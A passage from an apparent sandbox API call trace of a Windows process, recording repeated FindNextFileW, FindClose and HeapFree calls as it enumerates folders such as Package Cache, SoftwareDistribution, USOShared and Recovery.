hFindFile=0x6ebfb0) returned 1 [0280.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.483] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.484] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0280.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.484] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0280.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.484] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0280.484] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0280.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.484] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.484] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.485] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0280.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.486] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0280.486] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0280.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.486] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.486] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.487] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0280.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.487] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0280.487] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0280.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.488] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.488] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.488] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0280.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.488] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0280.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.489] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0280.489] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0280.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.490] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.490] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0280.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.491] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0280.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.495] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0280.495] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0280.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.495] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.495] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0280.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.496] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0280.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.497] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0280.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.497] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0280.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.498] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0280.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.499] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0280.499] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0280.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.499] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.499] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.501] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0280.501] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0280.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.501] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0280.514] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.515] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0280.515] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.515] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0280.515] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.515] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0280.515] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.515] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0280.516] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.516] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0280.526] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.526] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2b3c1520, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x2b3c1520, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0280.526] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0280.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.527] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0280.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.826] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0280.826] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0280.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.826] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0280.826] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0280.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0280.828] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0280.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0280.829] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, 